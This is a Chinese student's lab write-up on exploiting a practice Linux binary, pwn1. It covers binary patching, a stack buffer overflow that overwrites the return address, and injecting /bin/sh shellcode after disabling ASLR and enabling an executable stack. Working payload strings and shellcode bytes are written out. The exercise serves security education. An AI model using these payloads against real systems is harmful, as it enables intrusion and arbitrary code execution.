Exp1 PC平台逆向破解(5)M

实践目标###

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

  • 1.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 3.注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码

基础知识###

  • 熟悉Linux基本操作，能看懂常用指令,如管道（|），输入、输出重定向（>）等。
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
  • JNE：条件转移指令，如果不相等则跳转。
  • JE：条件转移指令，如果相等则跳转。
  • JMP：无条件转移指令。
  • CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
  • 会使用gdb,vi。

1直接修改程序机器指令，改变程序执行流程###

  • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
  • 学习目标：理解可执行文件与机器指令
  • 进阶：掌握ELF文件格式，掌握动态技术

1.1反汇编pwn1文件

objdump -d 文件名 | more

查看核心代码

"call 8048491 "是汇编指令，是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为“e8 d7ffffff”，e8即跳转之意。

本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

main函数调用foo，对应机器指令为“e8 d7ffffff”，
那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

1.2修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

对pwn1进行备份，将对备份文件20154304操作。

使用vi 20154304在vim编辑器查看可执行文件20154304，在编辑器内按ESC键，输入:%!xxd将显示模式切换为16进制模式，如下图：

查找要修改的内容，输入/e8 d7，如下图：

在vim的普通模式下，按r键修改d7为c3,如下图：

转换16进制为原格式，输入:%!xxd -r

存盘退出vi，输入:wq

反汇编看一下，call指令是否正确调用getShell

运行下改后的代码，会得到shell提示符#

2通过构造输入参数，造成BOF攻击，改变程序执行流###

2.1基本原理

我们的目标是触发getShell函数，该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞，读入字符串时系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。

2.2确认输入字符串哪几个字符会覆盖到返回地址

使用GDB调试工具调试，确认用什么值来覆盖返回地址
gdb 20154304~1进入调试，并输入一串可让其溢出的字符：

info r，查看溢出时寄存器状态如下：

由此可看出是四个5，接下来确定是哪四个5，将后面8位输12345678

由此看出1234那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给201543041，201543041就会运行getShell。
2.3 确认用什么值来覆盖返回地址

getShell的内存地址，通过反汇编时可以看到，即0804847d。对比之前 eip 0x34333231 0x34333231，正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

2.4构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

(可以使用16进制查看指令xxd input查看input文件的内容是否如预期。)

然后将input的输入，通过管道符“|”，作为20154304~1的输入。

3注入Shellcode并执行##

3.1准备一段Shellcode

  • shellcode就是一段机器指令（code）
  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）,所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

以下实践使用如下的shellcode：

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
3.2准备工作

设置堆栈可执行: execstack -s 20154304_1
查询文件的堆栈是否可执行:execstack -q 20154304_1
查看地址是否随机化：more /proc/sys/kernel/randomize_va_space 0为关闭，2为打开

关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

3.3构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法：
  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
  • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边。
  • 本次实验的这个buf够放这个shellcode了
  • 结构为：nops+shellcode+retaddr。
    nop一为是了填充，二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

选择anything+retaddr+nops+shellcode 结构来构造如下语句：
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

接下来我们来确定\x4\x3\x2\x1到底该填什么。

注入这段攻击buf：

(cat input_shellcode;cat) | ./20154304_1

注意此处只需要敲一个回车，此时不会出现上图中的字符

再开另外一个终端，用gdb来调试20154304_1这个进程。

1.找到pwn1的进程号是：4809

ps -ef | grep 20154304_1

2.启动gdb调试这个进程

attach 4809

3. 通过设置断点，来查看注入buf的内存地址

disassemble foo

break *0x080484ae

注意设置完断点后，要先在另外一个终端中按下回车，这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
再输入c继续运行程序。

通过info r esp 查看esp寄存器的地址

看到 01020304了，就是返回地址的位置。shellcode就挨着，所以地址是 0xffffd2bc+0x00000004=0xffffd2c0
修改之前的注入语句再次运行
perl -e'print"A"x32;print"\xc0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

运行成功！

实践收获###

漏洞是系统在设计时的不足，是黑客攻击计算机所利用的通道，是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。本次实践我也学到了利用可执行文件中的漏洞，用三种方法改变程序的流程，使之跳转到getshell函数。在从最初的装虚拟机开始到现在经过了三周的时间，让我学到了很多东西，对linux操作系统有了一定的了解，也第一次用markdown写博客，相信在今后的实践中还会有更多的比本次实践要更复杂的知识要去学习，我也会继续努力学习的，感谢老师的指导。

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